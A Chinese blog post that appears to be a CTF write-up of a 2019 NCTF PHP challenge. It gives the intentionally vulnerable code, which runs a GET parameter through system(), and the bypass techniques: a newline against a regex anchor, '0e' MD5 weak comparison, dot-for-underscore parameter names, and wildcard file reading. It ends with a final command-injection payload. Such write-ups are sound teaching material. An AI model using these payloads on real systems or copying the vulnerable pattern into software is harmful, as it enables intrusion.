一道满是trick的题

一道满是trick的题

前言

在做2019nctf(南邮新生赛)的时候遇到的一个题目。tricks一大堆,比赛完3分钟后做了出来,惨…

但是说实话还是学到了很多新的知识,大佬太多了。

正文

题目本体就是代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];
$cmd = $_GET['q_w_q'];


//1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
echo '1st ok'."<br>";
}
else{
die('23333333');
}


//2nd
if(is_numeric($string_1)){
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);
if($md5_1 != $md5_2){
$a = strtr($md5_1, 'cxhp', '0123');
$b = strtr($md5_2, 'cxhp', '0123');
if($a == $b){
echo '2nd ok'."<br>";
}
else{
die("can u give me the right str???");
}
}
else{
die("no!!!!!!!!");
}
}
else{
die('is str1 numeric??????');
}


//3rd
$query = $_SERVER['QUERY_STRING'];
if (strlen($cmd) > 8){
die("too long :(");
}

if( substr_count($query, '_') === 0 && substr_count($query, '%5f') === 0 ){
$arr = explode(' ', $cmd);
if($arr[0] !== 'ls' || $arr[0] !== 'pwd'){
if(substr_count($cmd, 'cat') === 0){
system($cmd);
}
else{
die('ban cat :) ');
}
}
else{
die('bad guy!');
}
}
else{
die('nonono _ is bad');
}
?>

总共分为了3关。其中第二关花的时间最长。

首先是第一关,要求是num参数必须是23333,由于$这个是不会识别%0a也就是换行符,所以我们只需要在后面加上%0a就可以绕过了。

%0a绕过$

第二关关键点

1
2
3
4
5
6
7
8
9
10
if($md5_1 != $md5_2){
$a = strtr($md5_1, 'cxhp', '0123');
$b = strtr($md5_2, 'cxhp', '0123');
if($a == $b){
echo '2nd ok'."<br>";
}
else{
die("can u give me the right str???");
}
}

一看到$a==$b和md5就想到了利用php的特性弱比较。这个只是在弱比较的基础上加了几个弯而已。

一开始先对$a$b进行了一次MD5加密,题目要求$a$b的值不一样,而且他们的MD5值也不一样,然后再对MD5字符串利用strtr函数进行子串替换。

strtr作用如下

将所有的b替换成了1

strtr($md5_1, 'cxhp', '0123');这里有个前置知识,md5值是由0-9和字母abcdef组成的,所以这句话的作用就是将md5中的c替换成0。接着往下走,$a=$b这里就是利用弱比较来绕过。

这里的弱比较我是想利用以0e开头的MD5来绕过。

原理见图:

0e后面都跟数字

0e后面出现字母

这里我们需要的字符串str1str2需要满足的条件就是

  • 两者不相等
  • 第一次MD5加密后的值不相同
  • str1需要以是一串十六进制的字符串
  • 子串替换后的值要相同,或者部分相同

简单点来说

  • 两者不一样
  • md5(str1)要以ce开头且0e后面的值只能存在c0-9
  • md5(str2)以0e开头且0e后面的值只能存在c0-9

之后写了好几次代码都没报的出来,便放弃了,只到离比赛结束还剩40分钟的时候,群里队友突然有动静了,说是爆出来了。便有了之后的故事。

爆破

贴出队友脚本和几个符合要求的str1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import random
import string
load=string.ascii_lowercase
def get_code():
s=random.sample("0123456789abcdef",16)
return ''.join(s)
import hashlib
for i in range(1,100000000):
s="0x"
s+=get_code()
sha256=hashlib.md5(s.encode("utf-8"))
res=sha256.hexdigest()
if((res[:2]=='ce' or res[:2]=='0e') and str.isdigit(res[2:].replace('c','0')) ):
print(s)
print(res)
exit()
1
2
3
4
0xc4d9f30e1657a82b
0e2201c2635136900678149482056879
0x5e16d94a083c2bf7
0e95c0101425540938c943902cc9660c

第二关

​ 说到第三关是最气的,这个题目不按套路出牌,flag并不在/flag里面。

那看下第三关

1
2
3
4
$query = $_SERVER['QUERY_STRING'];
if (strlen($cmd) > 8){
die("too long :(");
}

这个的作用是控制$_GET['q_w_q']的长度超过8,这里先不讲怎么绕,接着往下看

然后是绕过if( substr_count($query, '_') === 0 && substr_count($query, '%5f') === 0 )这个的意思是变量名里面不能带_也就是不能直接用q_w_q而是利用php变量解析的特性,因为PHP在变量中会将.替换成_所以我们可以利用q.w.q变量名来绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if( substr_count($query, '_') === 0 && substr_count($query, '%5f') === 0 ){
$arr = explode(' ', $cmd);
if($arr[0] !== 'ls' || $arr[0] !== 'pwd'){
if(substr_count($cmd, 'cat') === 0){
system($cmd);
}
else{
die('ban cat :) ');
}
}
else{
die('bad guy!');
}
}
else{
die('nonono _ is bad');
}

这个就是不准我们用lspwd来列目录,那么flag不在/flag里面会在哪呢?然后我随手试了下dir

然后发现flag是在当前目录下的flllag.php

那个时候离比赛结束还剩5分钟才发现flag不在/flag里

然后就是解决长度的问题了,flllag.php本身都已经超过8位了,其实这里只需要利用通配符*去绕过就可以了,不能用cat能用nltac甚至可用于od来读

最后的payload

1
?num=23333%0a&str1=0x5e16d94a083c2bf7&str2=s1885207154a&q.w.q=tac f**

心态爆炸现场

过滤掉了一点芬芳

# 推荐文章

评论


:D 一言句子获取中...

加载中,最新评论有1分钟延迟...